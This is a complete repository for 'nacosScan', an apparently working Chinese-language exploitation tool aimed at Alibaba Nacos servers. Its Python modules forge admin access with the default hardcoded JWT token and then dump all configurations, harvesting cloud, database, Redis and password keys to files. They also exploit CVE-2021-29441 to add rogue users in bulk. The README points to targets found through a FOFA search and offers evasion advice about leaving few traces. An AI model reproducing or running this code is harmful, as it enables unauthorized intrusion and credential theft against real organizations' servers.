├── requirements.txt ├── nacosScan.py ├── attachments ├── image-20230530101351383.png ├── image-20230720110732808.png ├── image-20230720115207827.png ├── image-20230720143700553.png └── image-20230721104935526.png ├── moudle ├── apiBypass.py ├── cliManager.py ├── common.py └── jwtToken.py └── README.md /requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.1.3 2 | PyYAML==6.0.1 3 | requests==2.27.1 4 | urllib3==1.26.9 5 | -------------------------------------------------------------------------------- /nacosScan.py: -------------------------------------------------------------------------------- 1 | import moudle.cliManager as cliManager 2 | 3 | if __name__ == '__main__': 4 | cliManager.run() 5 | -------------------------------------------------------------------------------- /attachments/image-20230530101351383.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/nacosScan/HEAD/attachments/image-20230530101351383.png -------------------------------------------------------------------------------- /attachments/image-20230720110732808.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/nacosScan/HEAD/attachments/image-20230720110732808.png -------------------------------------------------------------------------------- /attachments/image-20230720115207827.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/nacosScan/HEAD/attachments/image-20230720115207827.png -------------------------------------------------------------------------------- /attachments/image-20230720143700553.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/nacosScan/HEAD/attachments/image-20230720143700553.png -------------------------------------------------------------------------------- /attachments/image-20230721104935526.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/nacosScan/HEAD/attachments/image-20230721104935526.png -------------------------------------------------------------------------------- /moudle/apiBypass.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from moudle import common 3 | import urllib3 4 | 5 | # 关闭ssl警告 6 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 7 | 8 | 9 | class ApiBypass: 10 | """ 11 | api未授权添加用户 12 | """ 13 | 14 | def __init__(self, url, userinfo): 15 | self.url = url 16 | self.header = {"User-Agent": "Nacos-Server", "Content-Type": "application/x-www-form-urlencoded"} 17 | self.userinfo = userinfo 18 | 19 | def run(self): 20 | try: 21 | self.addUser() 22 | except Exception as e: 23 | pass 24 | 25 | def addUser(self): 26 | """ 27 | 添加用户 28 | """ 29 | configurl = self.url + "v1/auth/users" 30 | response = requests.post(configurl, headers=self.header, data=self.userinfo, timeout=10, verify=False) 31 | common.Print(response.text[:50]).info() 32 | common.Print("\n\n").print() 33 | 34 | 35 | class Manager: 36 | def __init__(self, url, uf, username, password): 37 | self.userinfo = { 38 | "username": "nasin", 39 | "password": "natan" 40 | } 41 | self.url = url 42 | self.uf = uf 43 | self.urls = set() 44 | if username != None: 45 | self.userinfo["username"] = username 46 | if password != None: 47 | self.userinfo["password"] = password 48 | 49 | 50 | def run(self): 51 | if self.uf is not None: 52 | common.Print("format url files...").info() 53 | self.urls = common.common().urls_format(self.uf) 54 | if len(self.urls) == 0: 55 | common.Print("文件内容预解析重定向失败").err() 56 | return 57 | elif self.url is not None: 58 | common.Print("format url...").info() 59 | url = common.common().url_format(self.url) 60 | self.urls.add(url) 61 | 62 | common.Print("api bypass add user").info() 63 | for url in self.urls: 64 | try: 65 | common.Print("start scan {}".format(url)).log() 66 | ApiBypass(url, self.userinfo).run() 67 | except: 68 | pass 69 | -------------------------------------------------------------------------------- /moudle/cliManager.py: -------------------------------------------------------------------------------- 1 | from moudle import jwtToken 2 | from moudle import apiBypass 3 | import click 4 | 5 | 6 | class UrlOption(click.Option): 7 | def __init__(self, *args, **kwargs): 8 | # 设置自定义选项属性 9 | kwargs.setdefault('type', str) # 设置选项的类型 10 | kwargs.setdefault('metavar', '') # 设置选项的显示名称 11 | kwargs.setdefault('help', 'search by url') # 设置选项的帮助提示 12 | super().__init__(*args, **kwargs) 13 | 14 | 15 | class UrlsOption(click.Option): 16 | def __init__(self, *args, **kwargs): 17 | # 设置自定义选项属性 18 | kwargs.setdefault('type', click.File('r')) # 设置选项的类型 19 | kwargs.setdefault('metavar', '') # 设置选项的显示名称 20 | kwargs.setdefault('help', 'load url from file') # 设置选项的帮助提示 21 | super().__init__(*args, **kwargs) 22 | 23 | 24 | CONTEXT_SETTINGS = dict( 25 | help_option_names=['--help', '-help', '-h', '--h'], 26 | default_map={ 27 | } 28 | ) 29 | 30 | 31 | @click.group(context_settings=CONTEXT_SETTINGS) 32 | @click.option('-v', '--version', is_flag=True, help='show version') 33 | def run(version): 34 | ''' 35 | https://github.com/Whoopsunix/nacosScan \n 36 | eg:\n 37 | python3 nacosScan.py jwt -h \n 38 | python3 nacosScan.py api -h \n 39 | By. Whoopsunix 40 | ''' 41 | if version: 42 | print("v1.0") 43 | pass 44 | 45 | 46 | @run.command('jwt', help='default jwtToken vul') 47 | @click.option('-u', '--url', cls=UrlOption) 48 | @click.option('-uf', '--urls', cls=UrlsOption) 49 | @click.option('-t', '--accesstoken', type=str, metavar='', help='you can change accessToken') 50 | @click.option('-user', '--username', type=str, metavar='', help='input username') 51 | @click.option('-pass', '--password', type=str, metavar='', help='input password') 52 | def run_jwt_vul(url, urls, accesstoken, username, password): 53 | jwttoken = jwtToken.Manager(url, urls, accesstoken, username, password) 54 | jwttoken.run() 55 | 56 | 57 | @run.command('api', help='api bypass add user') 58 | @click.option('-u', '--url', cls=UrlOption) 59 | @click.option('-uf', '--urls', cls=UrlsOption) 60 | @click.option('-user', '--username', type=str, metavar='', help='username default is nasin') 61 | @click.option('-pass', '--password', type=str, metavar='', help='password default is natan') 62 | def api_bypass(url, urls, username, password): 63 | apibypass = apiBypass.Manager(url, urls, username, password) 64 | apibypass.run() 65 | -------------------------------------------------------------------------------- /moudle/common.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import urllib3 3 | from requests.adapters import HTTPAdapter 4 | 5 | # 关闭ssl警告 6 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 7 | 8 | 9 | class common: 10 | """ 11 | 通用方法 12 | """ 13 | 14 | def __init__(self): 15 | self.urls = set() 16 | 17 | def login_get_accesstoken(self, url, username, password): 18 | accesstoken = None 19 | userinfo = { 20 | "username": username, 21 | "password": password 22 | } 23 | headers = {"User-Agent": "Nacos-Server", "Content-Type": "application/x-www-form-urlencoded"} 24 | 25 | try: 26 | configurl = url + "v1/auth/users/login" 27 | response = requests.post(configurl, headers=headers, data=userinfo, timeout=10, verify=False) 28 | result_json = response.json() 29 | Print(result_json).star() 30 | accesstoken = result_json["accessToken"] 31 | except Exception as e: 32 | pass 33 | return accesstoken 34 | 35 | def urls_format(self, uf): 36 | for url in uf.readlines(): 37 | try: 38 | url = url.strip() 39 | newurl = self.url_format(url) 40 | if newurl != None: 41 | self.urls.add(newurl) 42 | except Exception as e: 43 | pass 44 | return self.urls 45 | 46 | def url_format(self, url): 47 | """ 48 | url 格式化 49 | 预先解析重定向 防止漏报 50 | :return: 51 | """ 52 | final_url = None 53 | try: 54 | if not url.startswith("http://") and not url.startswith("https://"): 55 | url = "http://" + url 56 | 57 | max_redirects = 3 58 | session = requests.Session() 59 | adapter = HTTPAdapter(max_retries=max_redirects) 60 | 61 | session.mount("http://", adapter) 62 | session.mount("https://", adapter) 63 | 64 | # response = session.get(url, proxies=proxy) 65 | response = session.get(url, verify=False) 66 | if response.url != "": 67 | final_url = response.url 68 | if not final_url.endswith("/"): 69 | final_url = final_url + "/" 70 | except Exception as e: 71 | pass 72 | finally: 73 | return final_url 74 | 75 | 76 | class Print: 77 | def __init__(self, msg): 78 | self.msg = msg 79 | 80 | def print(self): 81 | ''' 82 | 无改动输出 83 | :param msg: 84 | :return: 85 | ''' 86 | print(self.msg) 87 | 88 | def debug(self, flag): 89 | if flag: 90 | print("{}".format(self.msg)) 91 | 92 | def info(self): 93 | ''' 94 | 侧重于代码中写死的输出 95 | :param msg: 96 | :return: 97 | ''' 98 | print("\033[32;1m[+] {} [+]\033[0m".format(self.msg)) 99 | 100 | def log(self): 101 | ''' 102 | 运行结果的实时输出 103 | :param msg: 104 | :return: 105 | ''' 106 | print("[-] {} [-]".format(self.msg)) 107 | 108 | def err(self): 109 | ''' 110 | 异常输出 111 | :param msg: 112 | :return: 113 | ''' 114 | print("\033[31;1m[!] {} [!]\033[0m".format(self.msg)) 115 | 116 | def star(self): 117 | ''' 118 | 重要输出 119 | :param msg: 120 | :return: 121 | ''' 122 | print("\033[33;1m[*] {} [*]\033[0m".format(self.msg)) 123 | 124 | ''' 125 | 开发配置 126 | ''' 127 | 128 | def dev(self): 129 | flag = True 130 | if flag: 131 | print("[dev] {}".format(self.msg)) 132 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NacosScan 2 | 3 | 同步更新 https://github.com/Whoopsunix/nacosScan 4 | 5 | 慢慢磨合 欢迎 issue 6 | 7 | # do what? 8 | 9 | - [x] 漏洞利用 10 | - [x] JWT 硬编码登陆 11 | - [x] api未授权添加用户 12 | - [ ] Hessian 反序列化这个洞比较特殊有 group 限制就不加了,可以参考其他师傅的 13 | - [x] 可从文件中读取,支持输入url,也可以输入 host、ip 自动重定向。最好还是用 url 指定 nacos 路径 14 | - [x] 配置读取 15 | - [x] 默认会使用 JWT 硬编码尝试读取,可通过 -t 指定 token 在无漏洞时仍可读取配置文件 16 | - [x] 提取期望 key,可自行在 moudle/jwtToken.py 文件中修改,目前支持 ["aliyun", "oss", "datasource", "redis", "ftp", "server", "wechat", "store", "minio"] 17 | - [x] 文件格式 18 | - [x] 支持解析 yaml、yml 文件 19 | - [ ] json、 properties、无后缀等情况,实战遇到再加,目前只简单处理 20 | 21 | 22 | ## 使用 23 | 24 | ### JWT 硬编码登陆 25 | 26 | 建议优先使用该漏洞,少在服务器留下东西。。 27 | 28 | ```sh 29 | # 指定 url,必须为nacos服务的路径 30 | python3.8 nacosScan.py jwt -u {http://ip/nacos} 31 | 32 | # 指定ip、host 后重定向 33 | python3.8 nacosScan.py jwt -u {ip} 34 | 35 | # 文件中读取 36 | python3.8 nacosScan.py jwt -uf {url.txt} 37 | ``` 38 | 39 | ### api未授权添加用户 40 | 41 | ```sh 42 | # 默认添加 nasin natan 43 | python3.8 nacosScan.py api -u {url} 44 | 45 | # 指定ip、host 后重定向 46 | python3.8 nacosScan.py api -u {ip} 47 | 48 | # 指定用户名、密码 49 | python3.8 nacosScan.py api -u {http://ip/nacos} -user {} -pass {} 50 | ``` 51 | 52 | ### 读配置 53 | 54 | 存在 nacos 相关泄漏时也可以来读配置 55 | 56 | ```sh 57 | # 指定 username password 58 | python3.8 nacosScan.py jwt -u {http://ip/nacos} -user {} -pass {} 59 | 60 | # 指定 accessToken 读配置 61 | python3.8 nacosScan.py jwt -u {http://ip/nacos} -t {token} 62 | ``` 63 | 64 | ## 效果图 65 | 66 | JWT 硬编码登陆、读配置 67 | 68 | ![image-20230721104935526](attachments/image-20230721104935526.png) 69 | 70 | api未授权添加用户 71 | 72 | ![image-20230720115207827](attachments/image-20230720115207827.png) 73 | 74 | 指定账号密码读配置 75 | 76 | ![image-20230720143700553](attachments/image-20230720143700553.png) 77 | 78 | # 0x01 Nacos JWT 硬编码登陆 79 | 80 | https://github.com/alibaba/nacos/issues/9830 81 | 82 | ## 概述 83 | 84 | ### 漏洞描述 85 | 86 | Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。若您Nacos未修改 secret.key,则攻击者可利用默认secret.key生成JWT Token,从而造成权限绕过访问到相关API接口。 87 | 88 | ### 影响范围 89 | 90 | 0.1.0<=com.alibaba.nacos:nacos-console<2.2.0.1 91 | 92 | ## 环境 93 | 94 | fofa 95 | 96 | ``` 97 | app="NACOS" 98 | ``` 99 | 100 | ## 复现 101 | 102 | 抓取登陆包,修改响应包状态码为 200 和 body 103 | 104 | ```json 105 | { 106 | "accessToken": 107 | "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU","tokenTtl": 18000, 108 | "globalAdmin": true,"username":"nacos" 109 | } 110 | ``` 111 | 112 | ![image-20230530101351383](attachments/image-20230530101351383.png) 113 | 114 | # 0x02 Nacos api未授权添加用户 CVE-2021-29441 115 | 116 | ## 概述 117 | 118 | ### 漏洞描述 119 | 120 | Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。CVE-2021-29441中,攻击者通过添加Nacos-Server的User-Agent头部将可绕过认证,从而进行API操作。 121 | 122 | ### 影响范围 123 | 124 | Up to (excluding) 1.4.1 125 | 126 | ## 环境 127 | 128 | fofa 129 | 130 | ``` 131 | app="NACOS" 132 | ``` 133 | 134 | ## 复现 135 | 136 | 查询用户列表 137 | 138 | http://your-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1 139 | 140 | 添加用户 141 | 142 | ```http 143 | POST /v1/auth/users HTTP/1.1 144 | Host: nacos.qihuian.com 145 | User-Agent: Nacos-Server 146 | Accept: */* 147 | Content-Type: application/x-www-form-urlencoded 148 | Content-Length: 33 149 | 150 | username=crowtt&password=crowt188 151 | ``` 152 | 153 | ![image-20230720110732808](attachments/image-20230720110732808.png) 154 | 155 | # 0x03 Nacos 内网集群Raft 反序列化漏洞 156 | 157 | ## 概述 158 | 159 | ### 漏洞描述 160 | 161 | Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口,不承载客户端请求,因此老版本可以通过禁止该端口来自Nacos集群外的请求达到止血目的(如部署时已进行限制或未暴露,则风险可控)。 162 | 163 | ### 影响范围 164 | 165 | 1.4.0 <= Nacos < 1.4.6 166 | 167 | 2.0.0 <= Nacos < 2.2.3 168 | 169 | ## 环境 170 | 171 | fofa 172 | 173 | ``` 174 | app="NACOS" 175 | ``` 176 | 177 | ## 复现 178 | 179 | https://l3yx.github.io/2023/06/09/Nacos-Raft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 180 | 181 | https://y4er.com/posts/nacos-hessian-rce/ 182 | 183 | -------------------------------------------------------------------------------- /moudle/jwtToken.py: -------------------------------------------------------------------------------- 1 | from moudle import common 2 | import json 3 | import os.path 4 | import requests 5 | import yaml 6 | from urllib.parse import urlparse 7 | import urllib3 8 | from requests.adapters import HTTPAdapter 9 | 10 | # 关闭ssl警告 11 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 12 | 13 | # accessToken = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU" 14 | 15 | proxy = { 16 | "socks5": 'socks5://127.0.0.1:1080' 17 | } 18 | 19 | 20 | class NacosConfig: 21 | """ 22 | 已知 accessToken 获取所有配置文件 23 | """ 24 | 25 | def __init__(self, url, accessToken): 26 | self.url = url 27 | self.accessToken = accessToken 28 | self.header = { 29 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0", 30 | "Accept": "application/json, text/javascript, */*; q=0.01", 31 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 32 | "Accept-Encoding": "gzip, deflate", 33 | "Authorization": "{\"accessToken\":\"" + self.accessToken + "}\",\"tokenTtl\":18000,\"globalAdmin\":true,\"username\":\"nacos\"}", 34 | "X-Requested-With": "XMLHttpRequest", "Referer": url, 35 | "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers", 36 | "Connection": "close"} 37 | 38 | # 期望提取的key 39 | self.niceKey = ["aliyun", "oss", "datasource", "redis", "ftp", "server", "wechat", "store", "minio"] 40 | self.nicePropertiesKey = ["password", "minio"] 41 | 42 | # result 43 | self.namespaces = [] 44 | self.contents = {'json': [], 'properties': [], 'yaml': [], 'UNKNOWN': []} 45 | self.values = set() 46 | 47 | def run(self): 48 | try: 49 | self.getNamespaces() 50 | self.getConfigs() 51 | self.findKeyValues() 52 | self.save() 53 | except Exception as e: 54 | common.Print(e[:10]).err() 55 | pass 56 | finally: 57 | return self.values 58 | 59 | def findKeyValues(self): 60 | """ 61 | 期望值解析 62 | """ 63 | for content in self.contents['yaml']: 64 | yaml_data = yaml.safe_load(content) 65 | for key in self.niceKey: 66 | tvalue = {key: self.findYamlKeyValue(yaml_data, key)} 67 | if tvalue[key] is not None: 68 | self.values.add(str(tvalue)) 69 | 70 | for content in self.contents['json']: 71 | json_data = json.loads(content) 72 | for key in self.niceKey: 73 | tvalue = {key: self.findJSONKeyValue(json_data, key)} 74 | if tvalue[key] is not None: 75 | self.values.add(str(tvalue)) 76 | pass 77 | 78 | for content in self.contents['properties']: 79 | for key in self.nicePropertiesKey: 80 | tvalue = {key: self.findPropertiesKeyValue(content, key, False)} 81 | if tvalue[key] is not None: 82 | self.values.add(str(tvalue)) 83 | 84 | def findPropertiesKeyValue(self, content, key, flag): 85 | value = set() 86 | if flag: 87 | for line in content.splitlines(): 88 | if line.startswith("#"): 89 | continue 90 | if line.startswith(key): 91 | value.add(line) 92 | return value 93 | else: 94 | for line in content.splitlines(): 95 | if line.startswith("#"): 96 | continue 97 | sp = line.split(key) 98 | if len(sp) > 1: 99 | return self.findPropertiesKeyValue(content, sp[0], True) 100 | 101 | # if key in line: 102 | # print(line) 103 | return None 104 | 105 | def findJSONKeyValue(self, json_data, target_key): 106 | """ 107 | 递归查找json中的key对应Value值 108 | """ 109 | if isinstance(json_data, dict): 110 | # 遍历字典的键值对 111 | for key, value in json_data.items(): 112 | # 如果找到目标键,返回对应的值 113 | if key == target_key: 114 | return value 115 | # 如果当前值是一个嵌套的字典或列表,递归调用函数查找 116 | elif isinstance(value, (dict, list)): 117 | result = self.findJSONKeyValue(value, target_key) 118 | if result is not None: 119 | return result 120 | elif isinstance(json_data, list): 121 | # 遍历列表的元素 122 | for item in json_data: 123 | # 如果当前元素是一个嵌套的字典或列表,递归调用函数查找 124 | if isinstance(item, (dict, list)): 125 | result = self.findJSONKeyValue(item, target_key) 126 | if result is not None: 127 | return result 128 | return None 129 | 130 | def findYamlKeyValue(self, yaml_data, key): 131 | """ 132 | 递归查找yaml中的key对应Value值 133 | """ 134 | if isinstance(yaml_data, dict): 135 | for k, v in yaml_data.items(): 136 | if k == key: 137 | return v 138 | else: 139 | result = self.findYamlKeyValue(v, key) 140 | if result is not None: 141 | return result 142 | elif isinstance(yaml_data, list): 143 | for item in yaml_data: 144 | result = self.findYamlKeyValue(item, key) 145 | if result is not None: 146 | return result 147 | else: 148 | return 149 | 150 | def getNamespaces(self): 151 | """ 152 | 获取所有的命名空间配置 153 | """ 154 | configurl = self.url + "v1/console/namespaces?accessToken={}&namespaceId=".format(self.accessToken) 155 | # response = requests.get(configurl, headers=self.header, timeout=10, verify=False, proxies=proxy) 156 | response = requests.get(configurl, headers=self.header, timeout=10, verify=False) 157 | if response.status_code != 200: 158 | return 159 | response_data = response.json() 160 | for item in response_data['data']: 161 | self.namespaces.append(item['namespace']) 162 | 163 | def getConfigs(self): 164 | if len(self.namespaces) <= 0: 165 | return 166 | for namespace in self.namespaces: 167 | try: 168 | configsUrl = self.url + "v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant={}&search=accurate&accessToken={}&username={}".format( 169 | namespace, self.accessToken, "nacos") 170 | # response = requests.get(configsUrl, headers=self.header, timeout=10, verify=False, proxies=proxy) 171 | response = requests.get(configsUrl, headers=self.header, timeout=10, verify=False) 172 | response_data = response.json() 173 | for item in response_data['pageItems']: 174 | dataId = item["dataId"] 175 | if dataId.endswith(".properties"): 176 | self.contents['properties'].append(item["content"]) 177 | elif dataId.endswith(".yaml") or dataId.endswith(".yml"): 178 | self.contents['yaml'].append(item["content"]) 179 | elif dataId.endswith(".json"): 180 | self.contents['json'].append(item["content"]) 181 | else: 182 | self.contents['UNKNOWN'].append(item["content"]) 183 | except Exception as e: 184 | continue 185 | 186 | def save(self): 187 | # print(self.contents) 188 | if len(self.contents['json']) <= 0 and len(self.contents['properties']) <= 0 and len( 189 | self.contents['yaml']) <= 0 and len(self.contents['UNKNOWN']) <= 0: 190 | # if len(self.values) <= 0: 191 | return 192 | 193 | folder_name = "result" 194 | if not os.path.exists(folder_name): 195 | os.mkdir(folder_name) 196 | 197 | file_name = folder_name + "/" + urlparse(self.url).netloc + ".txt" 198 | 199 | file_name = file_name.replace(":", "_") 200 | 201 | # 写入文件内容 202 | with open(file_name, "w") as file: 203 | for values in self.contents.values(): 204 | for value in values: 205 | file.write(value + "\n") 206 | common.Print("File created and write all config: " + file_name).star() 207 | 208 | 209 | class Manager: 210 | def __init__(self, url, uf, accesstoken, username, password): 211 | self.accesstoken = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU" 212 | self.username = username 213 | self.password = password 214 | self.url = url 215 | self.uf = uf 216 | self.urls = set() 217 | 218 | # 直接用token 219 | if accesstoken is not None: 220 | self.accesstoken = accesstoken 221 | 222 | def run(self): 223 | if self.uf is not None: 224 | common.Print("format url files...").info() 225 | self.urls = common.common().urls_format(self.uf) 226 | if len(self.urls) == 0: 227 | common.Print("文件内容预解析重定向失败").err() 228 | return 229 | elif self.url is not None: 230 | common.Print("format url...").info() 231 | url = common.common().url_format(self.url) 232 | self.urls.add(url) 233 | 234 | common.Print("jwt token access").info() 235 | for turl in self.urls: 236 | try: 237 | # 指定账号的话先登陆获取token 238 | if self.username is not None and self.password is not None: 239 | common.Print("login get accesstoken...").info() 240 | token = common.common().login_get_accesstoken(turl, self.username, self.password) 241 | if token is not None: 242 | self.accesstoken = token 243 | 244 | common.Print("start scan {}".format(turl)).log() 245 | value = NacosConfig(turl, self.accesstoken).run() 246 | if len(value) != 0: 247 | common.Print("find config {}".format(turl)).star() 248 | for item in value: 249 | common.Print(item).print() 250 | common.Print("\n\n").print() 251 | except Exception as e: 252 | pass 253 | 254 | 255 | if __name__ == '__main__': 256 | pass 257 | --------------------------------------------------------------------------------